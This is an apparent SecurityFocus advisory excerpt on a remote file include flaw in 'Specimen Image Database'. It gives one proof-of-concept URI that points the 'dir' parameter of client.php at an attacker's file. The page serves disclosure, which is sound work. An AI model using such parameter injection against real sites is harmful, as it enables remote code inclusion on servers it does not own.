info
discussion
exploit
solution
references
Specimen Image Database Remote File Include Vulnerability
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[path]/client.php?dir=attacker's_file
Privacy Statement
Copyright 2010, SecurityFocus